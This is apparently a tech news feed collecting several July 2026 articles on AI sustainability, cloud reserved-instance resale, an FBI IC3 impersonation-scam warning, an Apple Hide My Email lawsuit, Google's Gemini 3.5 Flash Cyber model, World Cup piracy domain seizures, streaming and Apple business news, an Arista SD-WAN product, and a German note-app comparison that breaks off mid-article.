AI’s impact on sustainability



By 2029, IDC projects that the number of actively deployed AI agents will exceed 1 billion worldwide, which is 40 times more than in 2025. And these agents will perform 217 billion actions per day.



To deliver on this demand, AI data centers are being built out at an unprecedented rate, with Gartner forecasting that global spending on data centers over the next three years will increase 31.7% to surpass $650 billion, driven primarily by hyperscaler cloud providers building out AI foundations, and optimizing servers for heavy AI workloads.



All this presents a significant strain on the energy grid as well as environmental sustainability, including:




The power double-down: The International Energy Agency (IEA) projects that global data center electricity consumption will more than double from about 415 to 945 TWh by 2030, primarily fueled by energy-intensive accelerated computing for AI.



The inference premium: AI workloads are vastly more demanding than standard web activities. A gen AI query consumes roughly 10 times the electricity of a conventional keyword search, or roughly 2.9 watt-hours as opposed to 0.3 watt-hours.



Water consumption: Cooling these dense clusters is highly resource intensive. Global AI-related water demand is expected to reach 4.2 to 6.6 billion cubic meters by 2027.




The good news, however, is it’s not all out of the control of end user organizations and CIOs. Just as in the client-server era, through careful planning and execution, CIOs have the potential to significantly improve the performance, costs, and sustainability impacts of their AI application portfolio.



Here are four recommendations to maximize value as you look across your AI applications and infrastructure estate.



Revisit business objectives in light of AI



AI applications and platforms bring several new headaches for CIOs and CFOs in terms of FinOps. The variable nature of AI vendor billing due to variable monthly token costs is just one well-known example. To avoid unpleasant surprises, be sure to carefully review vendor contracts to decipher pricing models. Look for what’s included in seat-based license fees and what’s added as variable charges for agentic AI usage.



In addition, explore new metrics and KPIs such as intelligence per watt to help make sense of your return on AI. Just as miles per gallon helps us evaluate new car purchases, IPW can help to measure the computational efficiency of a system. It quantifies how much intelligence — typically measured in AI inferences, tokens processed, or model training iterations — a processor can deliver for every watt of electrical power it consumes.



According to Max Romanenko, chief engineering officer at relational database platform EDB, cost per query tells you almost nothing in an agentic world where autonomous systems are spinning up databases, pipelines, and queries around the clock. “The metric that matters is intelligence per watt, how much useful AI you get for every unit of energy you spend,” he says. “It isn’t just an environmental number, it’s also a performance indicator.”



With the measurements in place, you can then start to manage and optimize each layer in the AI stack from the infrastructure, or hyperscaler, layer to your own data and application layers.



It’s important to bear in mind that high token usage isn’t necessarily a bad thing. It depends on the net value delivered by each AI application and use case. Managing and optimizing the AI stack is important, but you’ll also want to measure the business value being delivered by each of these applications so you can measure your return.



Take a sovereign AI approach when evaluating hyperscalers



As you work with hyperscalers like Amazon, Google and Microsoft, it’s important to understand how they charge and how much, but also their environmental footprints. For example, by reading their sustainability reports, you can find out their annual water consumption across their global data centers and compare them with other providers.



In 2025, Amazon’s global data center operations used 0.12 liters of water per kilowatt-hour, which amounts to 2.5 billion gallons, or 5% of the annual water consumed by the metro Seattle area. The company has been able to operate more than seven times better than the industry average and have improved their water efficiency by 52% since 2021.



As demand for cloud computing and AI grows, water efficiency is another important metric for CIOs to monitor within hyperscaler ESG reports. While not at the same level of regulation as scope 2 and 3 greenhouse gas (GHG) emissions reporting, enterprises need to pay increasing attention to water use efficiency (WUE) with water scarcity becoming a growing risk for hyperscalers.



The key requisite at the infrastructure layer, though, is to ensure sovereign AI. This doesn’t mean you need to own everything, but you need control over your AI-driven operations when conditions change. With 71% of global executives stating that switching their primary AI vendor or model would be difficult if required today, it’s important to understand AI dependencies and be able to avoid vendor lock-in. 



Control efficiency at the data layer



The AI energy conversation has fixated on models and GPUs, but every agent, model, and inference call runs on the data layer beneath them, and that’s the one place a CIO can actually move the numbers.



“You can’t control consumption at the model layer,” says Romanenko. “Agents consume what they consume. But you can control efficiency at the data layer, and for most enterprises that’s the only real lever they have. Optimize search, retrieval, and vector indexing where the work actually happens and you cut compute, cost, and carbon at the same time. Ignore it, and it’s like running the heat with every window open.”



Ann Dunkin, distinguished professor of the practice at Georgia Tech, adds that CIOs who bring models in house and run them in their own infrastructure, or in the cloud infrastructure of their choosing, can have more control over the sustainability of inference, as well as of their costs and how their data is used.



Fine tune the application layer



When balancing a mix of commercial AI packages and custom-built code, costs can quickly spiral due to inefficient design and orchestration, redundant APIs, and unoptimized model routing.



With inference calls costing approximately 10 times that of conventional web queries, for custom AI applications, it’s important to design them to only use probabilistic code where necessary. Since many custom applications utilize a combination of both probabilistic and deterministic code, this is exactly where software developers need to make smart choices in their designs.



Other techniques to fine tune the application layer include semantic caching, intelligent model routing, and internal AI capability registries. “CIOs can implement intelligent routing solutions to select the most cost-efficient model for every prompt,” says Dunkin. “The most flexible routing solutions can drop into a user’s existing environment and orchestrate the actions of the company’s existing models.”



For CIOs looking to maximize the business value of every AI application in their portfolio, these new considerations, including new metrics, tools and approaches from the infrastructure layer all the way up to the application layer, should be an essential part of the equation.



Reselling unused cloud instances is no longer easy
Wed, 22 Jul 2026 11:04:51 +0200

		
					  
						




A client called me last week with a problem I have been hearing about more often lately. They had made significant reserved instance commitments with a major cloud provider, overbuying for what they thought would be heavy AI training workloads. Now they were sitting on thousands of dollars in idle capacity every month. Their plan was simple: resell it to someone else. Except they couldn’t.



I have been doing cloud consulting for a long time, and this situation once had a straightforward solution. You went to the marketplace, listed your unused reservations, and found a buyer. The process was a bit clunky, but it worked. These days, the answer is far more complicated, and my client learned this the hard way.



AI has made this problem increasingly common. Companies initially committed to compute capacity based on ambitious training plans. Prototype projects were expected to scale, and inference workloads were projected to grow substantially. Then reality hit. Some projects did not materialize. Some models trained faster than expected. Some inference patterns were lighter than anticipated.



Many organizations now hold reserved capacity they can’t use, discard, or share without a complex, increasingly restricted process. This reality is something every company with significant cloud spend needs to clearly understand.



The history of cloud resale



There was once a functioning resale market for cloud reserved instances. AWS, for example, maintained a Reserved Instances Marketplace where companies that had purchased reserved capacity could sell those reservations to other AWS customers. This was a legitimate, AWS-sanctioned process. Companies would register as sellers, list their unused reservations with pricing and terms, and if a buyer appeared, the marketplace would facilitate the transaction.



The resale market was useful for companies that had overestimated their needs or whose business changes reduced their cloud consumption. Instead of simply absorbing the cost of unused commitments, they could recoup some of that investment by selling to other organizations with unmet demand. It created a secondary market that added liquidity to what was otherwise a rigid financial arrangement.



My client had some experience with this resale market a few years ago and assumed they could use it again. They were unpleasantly surprised to learn that the rules had changed.



 AWS changes the rules



In January 2024, AWS implemented a significant policy change that effectively shut down the resale of EC2 Reserved Instances on its platform. AWS stopped allowing companies to resell their unused reserved capacity through the Reserved Instance Marketplace or any other official channel. If you have a reserved instance commitment with AWS, you are essentially stuck with it unless you can use it yourself or modify your reservation.



This change had a real impact on companies that had relied on resale as part of their cloud financial management strategy. It reduced flexibility and increased the risk of long-term reserved commitments. When I explained this AWS policy change to my client’s representatives, I could hear the frustration in their voices. They had made their commitment in good faith, carefully modeled their expected AI workloads, and now faced the reality that there was no easy exit.



The reasoning behind this change is not entirely clear, but AWS likely viewed capacity resales as something that complicated their billing and commitment models without providing enough benefit to the overall ecosystem. Regardless of the company’s reasons, the primary resale path for the largest cloud provider has been effectively closed.



What options still exist?



What can companies do now when they find themselves with reserved capacity they no longer need? The first possibility is to work directly with the cloud provider to modify or exchange the reservation if it is convertible. Some reservation types allow modifications, such as changing the instance type, region, or tenancy. This will not eliminate the commitment, but it may help companies better align their reservations with actual workload needs.



The second option is to use third-party brokers and marketplaces that operate independently of the cloud providers. Although AWS has shut down its official resale channel, brokers and marketplaces still facilitate resale arrangements for other cloud providers and for some AWS scenarios. These arrangements can be more complex and carry more risk, but they remain a possibility for companies determined to move unused capacity.



The third alternative is to optimize usage. Companies can invest in better utilization monitoring, workload placement, and automation to ensure that reserved capacity is used as efficiently as possible. This does not recover the money already spent, but it reduces future waste.



My client explored all three alternatives and found that each had significant limitations. Modifications were possible, but only within a narrow range. Third-party brokers were interested, but the process was opaque and uncertain. Optimization helped, but it could not eliminate the fundamental overcommitment they had already made.



The broader implications



Cloud commitments are more rigid than many enterprises initially realize because they lack a liquid market and because providers control modifications, transfers, or cancellations. Right now, I see this pattern most often in the AI space. Companies commit to massive amounts of compute for training and inference based on projections that rarely reflect the actual workloads. Then they are surprised to find themselves locked into payments. The AI boom has led to significant overcommitment because enterprises remain unaware that the resale mechanisms that once existed have been largely shut down.



This is why cloud financial management has become such an important discipline. Companies need to be far more thoughtful about how they commit to cloud resources, how they model their future consumption, and how they build flexibility into their cloud strategies. The days of assuming you can always resell your way out of an overcommitment are effectively over, at least with AWS.



For Azure and Google Cloud, the resale landscape is slightly different, but the same general principles apply. These providers have their own capacity transfer policies and, like AWS, those policies can change at any time. Companies should understand their options before making large, committed purchases and build contingency plans in case their actual usage diverges from their projections—or if resale policies change.



The bottom line is that reselling unused reserved cloud instances is far more complicated than it sounds. The market is not as open as it once was, the options are limited, and the providers themselves hold most of the cards. My client got burned, and I doubt they will be the only one. Companies that want to optimize their cloud spending should focus on accurate forecasting, thoughtful commitment sizing, and ongoing optimization rather than relying on resale as a safety valve. That approach worked at one point, but those days are largely gone.



FBI Updates IC3 Scam Warning Over AI Videos Targeting Victims
Wed, 22 Jul 2026 10:08:38 +0200
The FBI IC3 scam has evolved into a broader fraud scheme in which criminals impersonate FBI personnel and the Internet Crime Complaint Center (IC3) to target people who have already fallen victim to scams. According to an updated Public Service Announcement (PSA), scammers are using AI-generated videos, fake social media profiles, and spoofed websites to create a false sense of trust while attempting to steal personal and financial information.
The updated warning describes several exploitation tactics, including targeting previous scam victims, using artificial intelligence to create fictitious or misleading promotional materials, and building fake websites designed to collect personally identifiable information. The scammers falsely claim to be affiliated with government agencies or law enforcement and often promise to help victims recover lost funds.

FBI IC3 Scam Targets Previous Fraud Victims
In one version of the FBI IC3 scam, criminals create fake social media profiles and pages that impersonate FBI personnel. The goal is to lure previous scam victims into what the PSA describes as "re-targeting" scams.
After realizing they have been defrauded, victims may tell the original scammers they plan to report the incident to the FBI and submit an IC3 complaint. The victim is then contacted by someone pretending to be an FBI agent through platforms such as Facebook Messenger and Telegram.
The impersonator may send a link claiming to update an existing IC3 complaint. The link could contain malicious code or collect additional financial information, allowing criminals to further exploit the victim.
In other cases, scammers approach victims through email, phone calls, social media advertisements, or online forums. They claim to have recovered lost funds or offer assistance in recovering money. The FBI warning states these claims are a ruse designed to revictimize people who have already lost money.

AI-Generated Videos Promote Spoofed IC3 Websites
Another version of the scheme involves AI-generated videos or deepfakes featuring individuals impersonating FBI personnel. The videos are used on social media to promote spoofed versions of the official IC3 website.
One reported example involved an AI-generated video depicting a senior FBI leader encouraging users to submit complaints through a fake IC3 website. The spoofed site was designed to resemble the legitimate government website, but its functionality was limited to complaint submission.
The fake complaint form requested information including a user's name, phone number, email address, scam type, and estimated financial loss. After submission, the site provided a reference number and claimed someone would contact the individual.

How to Spot AI-Generated Videos and Fake Messages
The PSA warns that scammers can use AI-generated videos and cloned voices to impersonate company executives, law enforcement personnel, and other authority figures. These materials may be used during real-time video chats or private communications to convince victims they are speaking with a legitimate person.
People are advised to carefully examine email addresses, phone numbers, URLs, and spelling for subtle inconsistencies. Potential warning signs in manipulated images and videos include distorted hands or feet, unrealistic facial features, irregular faces, unusual accessories, inaccurate shadows, watermarks, unnatural movements, and voice call delays.
The FBI also advises people to be cautious when online content triggers strong emotions such as fear, anger, or disbelief. Users should verify surprising videos or images through reputable news sources or known official channels before responding.
IC3 does not maintain a social media presence and will not contact individuals directly through phone, email, social media, messaging apps, online chats, or public forums. The agency also does not recover funds for victims through Facebook or Telegram and will never request payment for fund recovery.
People seeking to file an IC3 complaint should type www.ic3.gov directly into their browser and verify that the website address ends in ".gov." Victims should avoid sponsored search results and suspicious links, and should never share sensitive information with websites they cannot verify.
Anyone who has fallen victim to the scam should report it through the legitimate IC3 website and provide details about the person or company involved, communication methods, financial transactions, and interactions with the scammer.


Apple Faces Lawsuit Over Hide My Email Privacy Vulnerability
Wed, 22 Jul 2026 09:59:53 +0200
Apple is facing a proposed class-action lawsuit after Anthony Alvarez alleged that the company’s Hide My Email feature failed to protect users’ real email addresses as advertised. The complaint, filed in the U.S. District Court for the Northern District of California, claims Apple promoted Hide My Email as a privacy safeguard while continuing to charge customers for access through its iCloud+ subscription service. 

The legal action follows a report from 404 Media that revealed a reported vulnerability in Hide My Email. The report claimed the flaw could allow someone to identify a user’s actual email address from the private relay address generated by the feature. According to the report, Apple had been aware of the issue for more than a year before releasing a fix. 
Hide My Email Vulnerability Becomes the Focus of Apple Lawsuit 
Apple confirmed that it deployed a patch on July 3, 2026, stating that the Hide My Email vulnerability had been fully resolved. However, the lawsuit alleges that Apple continued marketing the feature as secure while the reported weakness remained unresolved. 

The complaint states that security researchers first informed Apple about the vulnerability in June 2025. Although Apple acknowledged the report, Anthony Alvarez’s lawsuit claims the company did not resolve the issue for nearly a year. The filing also alleges that Apple incorrectly stated in March 2026 that the problem had been fixed, even though researchers reported that the vulnerability remained exploitable. 
How Apple’s Hide My Email Feature Works 
Hide My Email was introduced with Sign in with Apple in 2019. The feature creates unique relay addresses for supported apps and websites, allowing messages to reach a user’s inbox without revealing the person’s actual email address.

Apple later expanded Hide My Email through the paid iCloud+ subscription, launched alongside iOS 15 and macOS Monterey in September 2021. The iCloud+ version allows subscribers to create unlimited private relay addresses for websites, newsletters and email communication.

The lawsuit argues that millions of Apple users relied on Hide My Email to reduce spam, limit online tracking, protect personal information from data brokers and avoid exposure during third-party data breaches. Researchers cited in the complaint said that once a real email address is revealed, it may be linked with publicly available people-search databases, potentially exposing identities and other personal information.
Anthony Alvarez Claims Apple Misled Customers Over Privacy 
The complaint argues that Apple built much of its brand identity around privacy, referencing marketing statements such as “Privacy. That’s iPhone,” “What happens on your iPhone, stays on your iPhone,” and descriptions of privacy as a “fundamental human right” and “core value.” 

According to the lawsuit, Apple’s privacy messaging influenced consumer decisions and helped justify premium pricing for Apple hardware and services. The plaintiffs claim Hide My Email was promoted as a central part of those privacy commitments. 

The filing alleges that Apple asked researchers not to publicly disclose details of the vulnerability instead of warning customers or temporarily disabling the feature. It claims users were never informed that their real email addresses could potentially be exposed while Apple continued presenting Hide My Email as a privacy protection tool. 
Lawsuit Seeks Damages and Changes From Apple 
Anthony Alvarez is seeking reimbursement for iCloud+ subscription fees and other alleged financial losses. The lawsuit requests an injunction requiring Apple to either provide the privacy protection promised through Hide My Email or clearly disclose any limitations. 

The complaint includes claims involving California’s Unfair Competition Law, False Advertising Law and Consumers Legal Remedies Act, along with allegations of fraud, negligent misrepresentation, breach of contract, breach of implied warranty and unjust enrichment. 

The lawsuit argues customers paid for Apple’s privacy protections in multiple ways, including iCloud+ subscription fees and premium prices associated with Apple devices marketed as offering stronger privacy features. Apple has stated that the July 3, 2026 patch resolved the Hide My Email issue. 


Google Unveils Gemini 3.5 Flash Cyber to Find and Fix Software Vulnerabilities Faster
Wed, 22 Jul 2026 08:55:35 +0200
Google has introduced Gemini 3.5 Flash Cyber, a lightweight AI model designed to improve cybersecurity by helping defenders identify, validate, and patch software vulnerabilities more efficiently. Built on Gemini 3.5 Flash and optimized for security tasks, Flash Cyber aims to deliver a cost-effective alternative to larger AI models while supporting large-scale vulnerability analysis.

The company said it has invested in cybersecurity research for years, including automated vulnerability discovery through CodeMender, its code security agent that can detect and fix critical software flaws. However, as AI systems become increasingly capable of discovering vulnerabilities faster than defenders can resolve them, Google believes a scalable and affordable approach is needed. 
Gemini 3.5 Flash Cyber Focuses on Scalable Cybersecurity 
According to Google, Gemini 3.5 Flash Cyber has been fine-tuned specifically to locate, verify, and remediate vulnerabilities more effectively than Gemini's standard Flash models. Because of the technology's dual-use nature, the company is initially limiting access through a pilot program for governments and trusted partners via CodeMender, with broader availability planned over time. 

Google also confirmed that CodeMender's core capabilities will be made available through generally available Gemini models on the Gemini Enterprise Agent Platform. 
Flash Cyber Improves Large-scale Code Analysis 
A major challenge in cybersecurity is exploring vast execution search spaces across complex codebases. Instead of relying on a single call to a large language model, CodeMender invokes Flash Cyber multiple times, allowing sub-agents to inspect significantly more code paths before generating one consolidated report. 

Google said the model's speed and lower operating cost make it suitable for continuous code scanning, software launch processes, and commit-scanning pipelines at scale. 
Benchmark Results Show Competitive Performance 
Google evaluated Gemini 3.5 Flash Cyber using the CyberGym benchmark, which measures AI agents against hundreds of real-world software vulnerabilities. Configured to call the model up to five times before producing a final report, CodeMender achieved competitive performance against significantly larger cybersecurity models. Google noted that competitor results were based on provider self-reported scores. 

The model also outperformed Gemini 3.5 Flash and 3.6 Flash during Google's internal Big Sleep evaluation, which tested vulnerability discovery in complex projects such as Chrome and Safari without safety guardrails. 

In Chrome's production commit-scanning pipeline, where vulnerabilities remained undisclosed to prevent benchmark contamination, Flash Cyber again delivered a significant improvement over Gemini 3.5 Flash. Google added that competitor models released after Opus 4.6 were excluded because their safety guardrails prevented them from completing the tasks. 

Testing on the V8 JavaScript Engine found 55 unique confirmed vulnerabilities with Gemini 3.5 Flash Cyber, compared with 47 for Gemini 3.5 Flash and 36 for Opus 4.6, including 10 issues missed by both competing models. 
Real-world Cybersecurity Deployment 
Google said Flash Cyber is already helping secure internal projects, including Chrome, Android, Cloud, Ads and YouTube. In one example, Google's Cloud Vulnerability Research team used the model to identify remote code execution vulnerabilities in public APIs and a memory-corruption flaw within a sensitive production service in just two hours. The model also generated a 100% reliable remote code execution exploit capable of bypassing Address Space Layout Randomization (ASLR) and Write XOR Execute (W^X). 

Google added that early feedback from Wiz and Cloud CISO Security Engineering testers indicated a significant capability improvement over Gemini 3.5 Flash. The company also highlighted resources such as OSV.dev, which tracks more than 700,000 open-source vulnerabilities, and over a decade of OSS-Fuzz data as key training assets supporting its cybersecurity models. 


US Seizes 1,000+ Domains Used to Illegally Stream FIFA World Cup
Wed, 22 Jul 2026 08:55:28 +0200
The U.S. Department of Justice has seized more than 1,000 illegal World Cup streaming domains accused of broadcasting FIFA World Cup 2026 matches without authorization, marking a major enforcement action against digital piracy during the tournament. The domains were seized in three separate actions under U.S. copyright law as part of Operation Offsides, an initiative targeting websites involved in unauthorized World Cup broadcasts.
The latest action includes nearly 400 websites seized by the end of June, according to the Department of Justice. The investigation was carried out by U.S. Immigration and Customs Enforcement Homeland Security Investigations (HSI) Washington Field Office and the National Intellectual Property Rights Coordination Center.

Illegal World Cup Streaming Domains Targeted
According to an affidavit filed in support of a seizure warrant in the U.S. District Court for the Eastern District of Virginia, the seized domains were used to offer copyright-protected content through real-time streams of 2026 World Cup matches as they were being played and first broadcast.
HSI special agents confirmed that the domains were actively broadcasting World Cup matches without authorization. The domains were identified with assistance from FIFA, with additional information provided by beIN Media Group, NBC Universal, the Motion Picture Association’s Alliance for Creativity and Entertainment (ACE), Ultimate Fighting Championship (UFC), and Warner Brothers.
FIFA holds the exclusive rights to sanction and stage the FIFA World Cup 2026, which is being hosted across multiple cities in the United States, Canada and Mexico.

Operation Offsides Targets Illegal Streaming
The U.S. action is part of Operation Offsides, which focuses on identifying and seizing websites facilitating unauthorized broadcasts of World Cup matches.
The operation is led by the National Intellectual Property Rights Coordination Center and is being conducted with HSI Washington, D.C., HSI Attaché offices, private sector organizations and law enforcement partners globally.
Assistant Attorney General A. Tysen Duva of the Justice Department’s Criminal Division said the effort to seize more than 1,000 domains was aimed at protecting intellectual property rights and reducing risks to consumers from malicious software associated with some illicit streaming services.


[caption id="attachment_113257" align="aligncenter" width="400"] Source: The U.S. Department of Justice[/caption]
HSI Deputy Executive Associate Director Matthew Millhollin also warned that users accessing unauthorized streaming platforms could face risks including malware and payment information theft.

Operation Red Card Expands Global Crackdown
The U.S. enforcement action was accompanied by international efforts under Operation Red Card, which targeted digital piracy and counterfeiting connected to the World Cup across the Western Hemisphere.
The Justice Department’s International Computer Hacking and Intellectual Property (ICHIP) program coordinated enforcement efforts involving Argentina, Brazil, Chile, Colombia, the Dominican Republic, Ecuador, Paraguay and Peru.
The coordinated actions resulted in hundreds of illegal streaming sites being blocked, including 14 in Argentina, 223 in Ecuador, 28 in Peru, 309 in Brazil, 256 in the Dominican Republic and 1,140 in Colombia.
Colombian authorities also conducted 13 nationwide search-and-seizure operations targeting counterfeit sports apparel, resulting in 11 arrests and convictions.

Cybercrime Group Arrested in Colombia
On July 10, authorities launched Phase II of Operation Red Card in Colombia, conducting simultaneous operations in Bogotá, Soacha, Maríalabaja, Manatí and Sincerín.
An ICHIP-mentored cybercrime prosecutorial team from the Colombian Attorney General’s Office arrested four members of the cybercriminal group Los Ciberinfiltrados. According to the Justice Department, the group had illegally accessed telecommunications systems since 2024 and sold pirated streaming content, including World Cup matches.
The group allegedly used fraudulent credentials, VPNs, interception of security codes and manipulation of corporate system profiles to distribute the pirated content.
In Europe, ICHIP Bucharest also coordinated with Europol and international counterparts to address illegal streaming activities during the World Cup.

World Cup Streaming Crackdown Intensifies
The latest action follows a June 2026 announcement by the U.S. Department of Justice involving the seizure of nearly 400 websites accused of illegally broadcasting FIFA World Cup 2026 matches.
That earlier enforcement action, also conducted under Operation Offsides, targeted websites accused of copyright infringement by offering unauthorized live streams of World Cup matches for profit.
With more than 1,000 domains now seized in the U.S. actions, authorities continue to target unauthorized streaming platforms and digital piracy networks linked to the tournament.


Apple Ending iPhone Upgrade Program Next Week
Wed, 22 Jul 2026 07:20:34 +0200
Apple reportedly plans to stop new enrollments for the iPhone Upgrade Program as it prepares to launch a new leasing service called Apple Upgrade next week.



The current iPhone Upgrade Program lets customers pay for an iPhone in monthly instalments and upgrade to a newer model after 12 months. Citizens One provides the financing with 0% APR, while AppleCare coverage comes included with the plan.



Apple also offers Apple iPhone Payments, which lets buyers finance an iPhone over 24 months through Citizens One. However, that option does not include a built-in annual upgrade benefit.



Bloomberg’s Mark Gurman reports that Apple will discontinue new enrollments for both existing payment programs when Apple Upgrade launches. This change reportedly covers the iPhone Upgrade Program and Apple’s standard iPhone financing option.



Apple Upgrade will reportedly launch on July 28 through a partnership with Klarna. The new service will use a leasing model, although it will not include AppleCare coverage as part of the monthly payment.



Apple has not explained how the change will affect customers who already use the iPhone Upgrade Program. Existing members may continue under their current agreements, but more details should become available when Apple officially launches the new service.


HBO Max and Paramount+ Merger Blocked by Temporary Court Order
Wed, 22 Jul 2026 05:44:42 +0200
The planned merger between HBO Max and Paramount+ has hit a major legal obstacle after a federal judge temporarily blocked Paramount from completing its acquisition of Warner Bros. Discovery. The proposed deal would combine two major streaming platforms, film studios, and news businesses under one company.



Paramount announced the plan in March after Netflix withdrew from the bidding process for Warner Bros. Discovery. Under the proposal, Paramount would acquire the company and eventually combine HBO Max and Paramount+ into a single streaming service.



Paramount Planned to Keep the HBO Brand



Paramount has not explained how much the combined service would cost or what name it would use. However, Paramount CEO David Ellison said the company would protect HBO’s identity because of its long history of premium television shows and films.



HBO would likely continue as a separate brand inside the larger streaming platform, while subscribers would gain access to content from both companies. The combined service would include films, television series, sports programming, and news content from the two businesses.



The merger has faced criticism from viewers who fear that reduced competition could lead to higher subscription prices. A group of 12 state attorneys general also raised concerns and asked a federal court to stop the transaction while it reviewed the possible effects on consumers and the entertainment industry.



Court Blocks the Deal for 14 Days



NBC News reports that U.S. District Judge Araceli Martínez-Olguín issued a temporary restraining order that prevents Paramount from closing the deal. The order will remain active for 14 days while the court hears arguments from both sides.



The legal challenge is only one part of the review process. Regulators in the European Union and the United Kingdom are also examining the proposed merger.



The Writers Guild of America has filed a separate antitrust lawsuit, arguing that the deal would reduce jobs and place pressure on wages. Paramount can still continue the merger process if it wins the court case and receives approval from other regulators, but the transaction now faces several major delays.


Arista debuts unified SD-WAN edge platform
Wed, 22 Jul 2026 05:40:32 +0200

		
					  
						




Arista Networks is looking to simplify data protection at the edge of enterprise networks with a new security package that combines branch office security with SD-WAN connectivity in a single platform.



The company announced AI-driven Edge Threat Management (ETM) for VeloCloud SD-WAN, a platform that links typically separate products and capabilities including Arista’s next-generation firewall, IP reputation, external blocklists, intrusion prevention, URL filtering, application classification, geo-IP filtering, network address translation, deep packet inspection, and zone-based segmentation. 



ETM provides perimeter protection at the WAN edge and is a software upgrade option to VeloCloud SD-WAN, according to Arista. It can help simplify branch operations with a common operating system, a uniform enforcement engine, and common end-to-end security policies, the vendor stated. The new ETM solution also leverages Arista’s AVA (Autonomous Virtual Assist) for AI-driven policy intelligence.



“Multi-vendor branch complexity creates the ultimate blind spot, and your adversaries are actively hiding in it,” wrote Brendan Gibbs, Arista’s vice president, AI, routing, and switching platforms, in a blog post about the new platform.



Sprawling multi-vendor infrastructure creates operational headaches and increases security risks, according to Gibbs. “When you have four or five different point solutions from different vendors stacked on top of each other, configuring them becomes a manual, disjointed process. In fact, industry data shows that up to 95% of network changes are still performed manually, which inevitably leads to configuration mistakes, the single biggest driver of network downtime and security policy gaps,” he wrote. 



“When security policies are decoupled from local network routing, critical blind spots emerge. An attacker doesn’t need to break your cloud-delivered SASE firewall; they just need to target the unmonitored local traffic gaps between your Wi-Fi AP, your LAN switch, and your SD-WAN edge router,” Gibbs wrote.



ETM is integrated into VeloCloud Orchestrator as a dedicated enterprise application. “This enables security operators to configure policies that build on the same source of shared network configuration while maintaining a dedicated management console for security policy configuration, provisioning, and reporting,” Arista stated.



ETM security policies are managed in VeloCloud Orchestrator. “Admins can build and assign reusable policies consisting of predefined objects and templates. This design makes updating security policies possible by a few simple clicks, while the associated changes are propagated throughout the network within minutes,” Arista stated.



VeloCloud Orchestrator is the central management, configuration, and monitoring hub for VeloCloud SD-WAN and SASE networks.



In addition, VeloCloud edge routers collect threat intelligence data from a variety of sources to determine in real-time the trustworthiness and identity of hosts inside and outside the network. Through integration with Arista Network Detection and Response and other web-based dynamic lists, administrators can identify suspicious hosts and build policies to block potentially harmful activities, the vendor stated.



Integration with Arista’s AVA policy assistant is aimed at simplifying management of branch security policies. AVA continuously analyzes configuration states and translates complex, multi-site security rules into plain English, Gibbs explained. For example, NetOps administrators can use AI with Ask AVA to predict “how specific traffic will be handled before committing to a deployment, preventing manual configuration errors that leave branches exposed,” Gibbs wrote.



Arista also touted support for network-wide segmentation policies. “The flexible security policy configuration within the Edge Threat Management policy management extends the security coverage from the data center to the branch,” the vendor stated. “Security operations administrators can build access policies that are enforced across a distributed network. The centralized design enables admins to configure and deploy consistent zone based policies across the entire distributed network.”



ETM is a significant addition to the Arista VeloCloud portfolio. Arista bought the VeloCloud SD-WAN platform from Broadcom a year ago and has been promising new technologies that expand the platform. ETM also could further the vendor’s stated plans to expand beyond its data center networking roots and compete more broadly with enterprise networking vendors such as Cisco, Palo Alto Networks, and Fortinet.



In the SASE and SD-WAN world, vendors such as Cisco, Palo Alto, Fortinet, Cato Networks, and Versa Networks are among the most balanced suppliers, with both SD-WAN and SSE contributing meaningful revenue streams, according to a recently published report from Dell’Oro Group.



“We forecast that SASE will remain on a double-digit growth path in 2026, with SSE-first rollouts remaining the most common entry point, and SD-WAN supported by branch modernization, software attach, and branch security refresh,” Dell Oro stated.



“AI is changing the SASE discussion from access and inspection to governance, data protection, and control over agents and machine traffic,” Mauricio Sanchez, senior director, enterprise security and networking at Dell’Oro Group, stated in the report. “A 21 percent Y/Y quarter shows that SASE is not waiting for a future AI refresh cycle; it is already absorbing the early security and networking requirements created by AI adoption,” Sanchez added.



ETM for VeloCloud SD-WAN will be available in Q4 of 2026 and will be available for all current VeloCloud hardware and virtual edge platforms.



OneNote vs. Evernote: Notiz-Apps im Vergleich
Wed, 22 Jul 2026 05:06:49 +0200


					  
						




Evernote und OneNote tragen den Kampf um die Notiz-App-Krone unter sich aus. 

					Foto: Bonya_06_Inna_Kharlamova_Makini_Caravello – shutterstock.com




Geht es um die richtige Notiz-App, fällt die Entscheidung im Regelfall zwischen OneNote von Microsoft und Evernote, das inzwischen dem italienischen Softwareunternehmen Bending Spoons gehört. 




OneNote ist seit dem Jahr 2003 auf dem Markt und wurde 2007 in Microsofts Office-Suite aufgenommen (die meisten Versionen laufen inzwischen unter dem Namen Microsoft 365). Zudem wird OneNote auch mit Windows 10 und 11 gebündelt und als eigenständiges Produkt kostenlos angeboten. Das eröffnet eine potenzielle Nutzerbasis von rund einer Milliarde Systemen.



Evernote feierte im Jahr 2008 sein Marktdebüt und erfreut sich seither stetig wachsender Nutzerzahlen. Unternehmensangaben zufolge sind es inzwischen weltweit rund 225 Millionen User.




Sowohl OneNote als auch Evernote sind für alle wichtigen Desktop- und Mobile-Betriebssysteme verfügbar. Beide sind in der Lage, Notizen mit allen Geräten und dem Internet zu synchronisieren und beide versprechen, die einzige notwendige App für Notizen zu sein. Stellt sich die Frage: Was ist die bessere Wahl für Business-Nutzer?



Wir haben uns die jeweils aktuellen Versionen beider Notiz-Apps für Windows, macOS, iPadOS, iOS und Android angesehen und sagen Ihnen, worin sich OneNote und Evernote im Wesentlichen unterscheiden. 



One Note: Organisationskrösus



OneNote ist eine vollwertige Anwendung. Mit ihr können Sie einfache oder komplexe Notizen von Grund auf neu erstellen, sie in durchsuchbaren Notizbüchern organisieren und mit einer Vielzahl von Plattformen synchronisieren – zum Beispiel Windows-PCs, Macs, iPads und iPhones sowie Android-Geräten.



Außerdem strotzt Microsofts Notiz-App nur so vor Werkzeugen – beispielsweise um:




Notizen zu erstellen und zu bearbeiten,



zu zeichnen,



Audio- und Videoaufnahmen zu erstellen,



Bilder zu scannen oder



Tabellenkalkulationen einzubetten,




OneNote wird allmählich immer stärker in die Microsoft-365-Suite integriert. Für Unternehmen ist die Live-Zusammenarbeit besonders wichtig und sie funktioniert hier ebenso so wie in anderen Microsoft-365-Anwendungen. Besonders gut lässt sich OneNote dabei in Microsoft Teams integrieren: Notizbücher lassen sich Teams hinzufügen – jeder innerhalb des Kanals kann diese anschließend anzeigen und bearbeiten (entsprechende Zugriffsrechte vorausgesetzt).



Web-Clipping



